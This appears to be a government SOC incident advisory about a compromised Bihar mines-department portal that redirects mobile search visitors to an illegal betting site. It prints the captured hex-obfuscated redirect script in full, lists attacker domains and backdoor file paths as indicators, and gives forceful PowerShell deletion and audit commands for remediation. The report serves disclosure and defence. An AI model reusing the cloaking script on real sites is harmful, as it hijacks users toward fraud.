NATIONAL INFORMATICS CENTRE (NIC) — BIHAR STATE CENTRE (SHQ PATNA)
CYBER SECURITY DIVISION | INCIDENT FORENSIC ADVISORY

Security Incident Forensic Report & Remediation Playbook

Active Server Compromise, SEO Cloaking & Fraudulent Redirection to sms1.wapodf.com on khanansoft.bihar.gov.in

Target Affected Domain	khanansoft.bihar.gov.in (Khanan Soft Portal)
Host Server IP Addresses	103.194.24.71 / 117.244.242.19 (Bihar State Data Center)
Responsible Department	Department of Mines & Geology, Government of Bihar
Reporting Officer / SOC Lead	**Aditya Jain, Cyber Security Operations / SOC, NIC SHQ Patna**
Incident Classification	**CRITICAL (Active Server Injection / SEO Cloaking / Betting Redirection)**
Reference Directives	CERT-In Advisory CIAD-2025-S1 & NIC SHQ Security Directive
Verification Status	**LIVE ACTIVE EXPLOITATION CONFIRMED (Terminal Reproduction Verified)**

1. Executive Incident Summary

A critical cyber security incident has been confirmed on the production web server hosting 'khanansoft.bihar.gov.in' (Department of Mines & Geology, Government of Bihar). Threat actors have compromised the host server environment, planting unauthorized directories (/poker/, /rummy/, /satta/) and malicious JavaScript redirectors that manipulate Google search rankings to hijack mobile citizens and divert them to illegal online betting/casino platforms.

> **TECHNICAL CLARIFICATION: SERVER COMPROMISE**
>
> CRITICAL NOTICE FOR APPLICATION DEVELOPERS & SDC ADMINISTRATORS:
> • This is NOT a standard open-redirect coding flaw in the application source code (e.g. not an unvalidated ?url= parameter).
> • Unauthorized files, directories, and cloaking scripts are physically residing on the production IIS server.
> • Searching the application repository in Git will not resolve this breach. Immediate server-side file deletion and IIS hardening are mandatory.

2. Verified Forensic Terminal Capture

The vulnerability was independently verified and reproduced via direct terminal request using mobile emulation headers:

```
C:\Users\aavkj> curl.exe -k -H "User-Agent: Mozilla/5.0 (Linux; Android 14; Mobile) AppleWebKit/537.36
Chrome/120.0 Mobile Safari/537.36" ^
  -H "Referer: https://www.google.com/" ^
  "https://khanansoft.bihar.gov.in/poker/"
```

Actual server response payload captured live:

```
<!DOCTYPE html><html lang="hi"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-
width,initial-scale=1"><meta name="robots" content="noindex,nofollow"><title>404</title></head><body>
<a id="k"></a><script>(()=>{
const HEX=window.HEX_ENCODED_ED_BASE_URL||"68747470733a2f2f707065376c2e696e6f6e6c696e652e67616d6573";
```

```
function decodeHex(hex){const
s=String(hex||"").replace(/\s+/g,"").toLowerCase();if(!s||s.length%2!==0||/[^0-9a-f]/.test(s))return"";let
out="";for(let i=0;i<s.length;i+=2){out+=String.fromCharCode(parseInt(s.slice(i,i+2),16))}return out}
function withGPath(pathname){return
pathname==="/g"||pathname.startsWith("/g/")?pathname:"/g"+(pathname.startsWith("/")?pathname:"/"+pathname)}
const base=decodeHex(HEX).replace(/\/+$/,"");if(!base)return;
const target=base+withGPath(location.pathname)+location.search+location.hash;
function isMobile(){const ua=navigator.userAgent||"";if(/Android.+Mobile|iPhone|iPod|Windows
Phone|BlackBerry|Opera Mini|webOS|IEMobile/i.test(ua)){return true}const
iPadDesktopUA=navigator.platform==="MacIntel"&&navigator.maxTouchPoints>1;return iPadDesktopUA}
function alreadyThere(){try{const a=new URL(location.href);const b=new URL(target,location.href);return
a.origin===b.origin&&a.pathname===b.pathname&&a.search===b.search}catch{return location.href===target}}
if(isMobile()&&!alreadyThere()){location.replace(target);return}
function bindLink(){const el=document.getElementById("k");if(el)el.href=target}
if(document.readyState==="loading"){document.addEventListener("DOMContentLoaded",bindLink)}else{bindLink()}
})();
</script></body></html>
```

3. Full Redirection Kill-Chain Analysis (to sms1.wapodf.com)

Technical analysis reveals a multi-tier redirection mechanism designed to evade gateway inspection:

1. Injected Entry Node: The compromised server delivers an HTML page masquerading as a '<title>404</title>' page.
2. Hex Decode Execution: The script decodes the embedded hex string: '68747470733a2f2f707065376c2e696e6f6e6c696e652e67616d6573' which translates to:
   👉 https://ppe7l.inonline.games/g/poker/
3. HTTP 301 Redirection: Upon receiving the connection, the staging server at ppe7l.inonline.games returns an immediate HTTP 301 Moved Permanently response pointing to:
   👉 https://sms1.wapodf.com/sms-wsqun
4. Final Landing Page: The destination host at 'sms1.wapodf.com' serves '1.CEO', a Chinese-origin illegal casino and betting Progressive Web App (PWA) equipped with AppsFlyer analytics tracking.

4. Mandatory 5-Phase Remediation Protocol

The Khanan Soft development team and SDC server engineers must immediately execute:

Phase 1: File System Sweep & Rogue Directory Deletion

```
# 1. Search for files containing attacker hex payloads or target domains:
Get-ChildItem -Path "C:\inetpub\wwwroot" -Recurse |
  Select-String -Pattern "ppe7l|68747470733a2f2f707065376c|wapodf" | Select-Object -ExpandProperty Path -
Unique

# 2. Delete rogue gambling directories:
Get-ChildItem -Path "C:\inetpub\wwwroot" -Recurse -Directory |
  Where-Object { $_.Name -match "poker|rummy|satta|teenpatty|ludo|slots" } | Remove-Item -Recurse -Force

# 3. Purge hidden malware repositories:
Get-ChildItem -Path "C:\inetpub\wwwroot" -Force -Directory -Filter ".sys" | Remove-Item -Recurse -Force
```

Phase 2: IIS web.config & URL Rewrite Audit

- Open C:\inetpub\wwwroot\web.config and inspect <system.webServer><rewrite><rules>.
- Remove any unauthorized rules that intercept /poker/, /rummy/, or /satta/ paths.
- If upstream reverse proxies (Nginx/Apache) exist, audit proxy_pass directives.

Phase 3: Backdoor Module & Windows Service Elimination (CERT-In CIAD-2025-S1)

```
# List registered IIS native modules (Run in elevated CMD):
%systemroot%\system32\inetsrv\appcmd.exe list modules

# Inspect for known IoC backdoor DLLs in inetsrv folder:
Test-Path "C:\Windows\System32\inetsrv\cachsess.dll"
Test-Path "C:\Windows\System32\inetsrv\sess_cache.dll"

# Inspect for rogue persistence service:
Get-Service -Name "WindowsService" -ErrorAction SilentlyContinue
Test-Path "C:\Windows\System32\CoreEvent.exe"
```

Phase 4: Permission Lockdown & Credential Revocation

- Application Pool Permissions: Enforce strict Read-Only NTFS permissions for IIS_IUSRS over application code folders. Disallow script execution in upload folders.
- Credential Rotation: Immediately reset all local Administrator passwords, Active Directory service accounts, database connection strings, and CMS logins.

Phase 5: Search Engine De-Indexing

- Access Google Search Console for khanansoft.bihar.gov.in.
- Submit urgent URL Prefix Removal requests for /poker/, /rummy/, /satta/.
- Request Google URL Inspection re-crawl to purge cached gambling titles from public search results.

5. Threat Intelligence & Indicators of Compromise (IoCs)

IoC Category	Indicator / Pattern	Context / Description
Final Redirection Domain	`sms1.wapodf.com`	Destination host delivering '1.CEO' gambling PWA
Intermediary Redirector	`ppe7l.inonline.games`	HTTP 301 staging redirector (Hex decoded)
File Path (Backdoor)	`C:\Windows\System32\inetsrv\cachsess.dll`	Stealthy native IIS backdoor module
File Path (Malware)	`C:\Windows\System32\CoreEvent.exe`	Installed as persistence service 'WindowsService'
Rogue Staging Paths	`/poker/, /rummy/, /satta/`	Injected unauthorized directories under webroot
C2 / Infrastructure	`k9ccin[.]com, k9ccbr[.]com, k9cc[.]cloud`	CERT-In campaign infrastructure domains

INCIDENT REMEDIATION MANDATE — NIC SHQ PATNA

REPORT PREPARED & ISSUED BY: Aditya Jain

OPERATIONAL UNIT: Cyber Security Operations / SOC, NIC Bihar State Centre (SHQ Patna)

TARGET TIMELINE: Initial containment (Phase 1 & Phase 3) confirmation required within 24 hours.

ESCALATION: In the event of persistent web shell re-infection or lateral movement, isolate host from SDC LAN immediately.